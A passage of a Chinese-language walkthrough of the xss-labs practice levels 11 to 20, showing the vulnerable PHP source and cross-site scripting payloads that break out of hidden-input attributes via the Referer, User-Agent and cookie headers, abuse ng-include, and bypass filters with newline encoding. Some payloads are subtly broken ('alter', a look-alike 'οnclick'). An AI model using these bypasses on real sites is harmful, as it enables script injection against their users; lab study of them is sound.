                <input name="t_link"  value="'.'" type="hidden">
                <input name="t_history"  value="'.'" type="hidden">
                <input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
                <input name="t_ref"  value="'.$str33.'" type="hidden">
            </form>
        </center>';
    ?>


确认输出
    //发现t_sort有输出
    192.168.2.106/xss-labs/level11.php?keyword=well&t_link=aa&t_history=bb&t_sort=cc&t_ref=dd    

    //发现没有闭合掉,但是t_ref里面有值
    192.168.2.106/xss-labs/level11.php?keyword=well&t_link=aa&t_history=bb&t_sort=cc&t_ref=dd  type='text' onclick='alert(123)'

    //利用turp抓吧工具,把t_ref(referer)里面的值替换成    '" type='text' onclick='alert(123)'

Less12:User Agent注入

Load URL地址:192.168.2.106/xss-labs/level12.php?keyword=good


查看源码
   <?php 
            ini_set("display_errors", 0);
            $str = $_GET["keyword"];
            $str00 = $_GET["t_sort"];
            $str11=$_SERVER['HTTP_USER_AGENT'];
            $str22=str_replace(">","",$str11);
            $str33=str_replace("<","",$str22);
            echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'
        <center>
            <form id=search>
                <input name="t_link"  value="'.'" type="hidden">
                <input name="t_history"  value="'.'" type="hidden">
                <input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
                <input name="t_ua"  value="'.$str33.'" type="hidden">
            </form>
        </center>';
    ?>


确认输出
    //发现t_sort有输出
    192.168.2.106/xss-labs/level12.php?keyword=well&t_link=aa&t_history=bb&t_sort=cc&t_ua=dd    

    //发现没有闭合掉,但是t_ua里面有值
    192.168.2.106/xss-labs/level12.php?keyword=well&t_link=aa&t_history=bb&t_sort=cc&t_ua=dd  type='text' onclick='alert(123)'

    //利用turp抓吧工具,把t_ua(User-Agent)里面的值替换成    '" type='text' onclick='alert(123)'

Less13:cookie注入

javascript 复制代码
Load URL地址:192.168.2.106/xss-labs/level13.php?keyword=good


查看源码
   <?php 
        setcookie("user", "call me maybe?", time()+3600);
        ini_set("display_errors", 0);
        $str = $_GET["keyword"];
        $str00 = $_GET["t_sort"];
        $str11=$_COOKIE["user"];
        $str22=str_replace(">","",$str11);
        $str33=str_replace("<","",$str22);
        echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'
        <center>
            <form id=search>
                <input name="t_link"  value="'.'" type="hidden">
                <input name="t_history"  value="'.'" type="hidden">
                <input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
                <input name="t_cook"  value="'.$str33.'" type="hidden">
            </form>
        </center>';
    ?>


确认输出
    //发现t_sort有输出
    192.168.2.106/xss-labs/level13.php?keyword=well&t_link=aa&t_history=bb&t_sort=cc&t_cook=dd    

    //发现没有闭合掉,但是t_cook里面有值
    192.168.2.106/xss-labs/level13.php?keyword=well&t_link=aa&t_history=bb&t_sort=cc&t_cook=dd  type='text' onclick='alert(123)'

    //利用turp抓吧工具,把t_cook(cookie)里面的值替换成    '" type='text' onclick='alert(123)'

Less14:题有问题

这一关题有问题直接十五关

Load URL地址:192.168.2.106/xss-labs/level14.php?keyword=good


查看源码


确认输出

Less15:ng-include文件包涵

AngularJS前端框架的指令ng-include(用于包含外部的HTML文件-引入页面)

javascript 复制代码
Load URL地址:192.168.2.106/xss-labs/level15.php?src=jaden


查看源码


确认输出
    192.168.2.106/xss-labs/level15.php?src='http://192.168.2.106/xss-labs/level1.php?name=<img src=1 onerror=alter(1)>'

Less16:url编码-标签绕过 换行符替换空格绕过

javascript 复制代码
Load URL地址:192.168.2.106/xss-labs/level16.php?src=jaden


查看源码
    <?php 
        ini_set("display_errors", 0);
        $str = strtolower($_GET["keyword"]);
        $str2=str_replace("script","&nbsp;",$str);
        $str3=str_replace(" ","&nbsp;",$str2);
        $str4=str_replace("/","&nbsp;",$str3);
        $str5=str_replace("	","&nbsp;",$str4);
        echo "<center>".$str5."</center>";
    ?>
    <center><img src=level16.png></center>
    <?php 
        echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
    ?>


确认输出
    //img有输出但是空格被编码了
    192.168.2.106/xss-labs/level16.php?src=jaden<img src=1 onerror=alter(123)>/'

    //将空格的编码替换成回车的编码进行尝试%0A回车符号
    192.168.2.106/xss-labs/level16.php?src=jaden<img%0Asrc=1%0Aonerror=alter(123)%0A/>'

Less17_18:embed标签-鼠标事件闭合绕过

embed标签:定义了一个区域,可以放图片、视频、音频等内容

javascript 复制代码
Load URL地址:192.168.2.106/xss-labs/level17.php?arg01=a&arg02=b


查看源码


确认输出
    //发现以src的属性值进行了输出
    192.168.2.106/xss-labs/level17.php?arg01=a&arg02=bjaden

    //用onmouseover鼠标事件
    192.168.2.106/xss-labs/level17.php?arg01=a&arg02=b 'onmouseover=alter("jaden")

    //用onmouseover鼠标事件
    192.168.2.106/xss-labs/level17.php?arg01=a&arg02=b 'οnclick=alter("jaden")

Less19_20:过时

javascript 复制代码
flash插件技术比较老了,已经全面停用了禁用了,就不做了
相关推荐
hackeroink1 小时前
【2024版】最新推荐好用的XSS漏洞扫描利用工具_xss扫描工具
前端·xss
独行soc4 小时前
#渗透测试#漏洞挖掘#红蓝攻防#护网#sql注入介绍06-基于子查询的SQL注入(Subquery-Based SQL Injection)
数据库·sql·安全·web安全·漏洞挖掘·hw
独行soc6 小时前
#渗透测试#漏洞挖掘#红蓝攻防#护网#sql注入介绍08-基于时间延迟的SQL注入(Time-Based SQL Injection)
数据库·sql·安全·渗透测试·漏洞挖掘
Clockwiseee7 小时前
php伪协议
windows·安全·web安全·网络安全
黑客Ash7 小时前
安全算法基础(一)
算法·安全
云云3217 小时前
搭建云手机平台的技术要求?
服务器·线性代数·安全·智能手机·矩阵
云云3217 小时前
云手机有哪些用途?云手机选择推荐
服务器·线性代数·安全·智能手机·矩阵
xcLeigh8 小时前
网络安全 | 防火墙的工作原理及配置指南
安全·web安全
白乐天_n8 小时前
腾讯游戏安全移动赛题Tencent2016A
安全·游戏
安全小王子9 小时前
Kali操作系统简单介绍
网络·web安全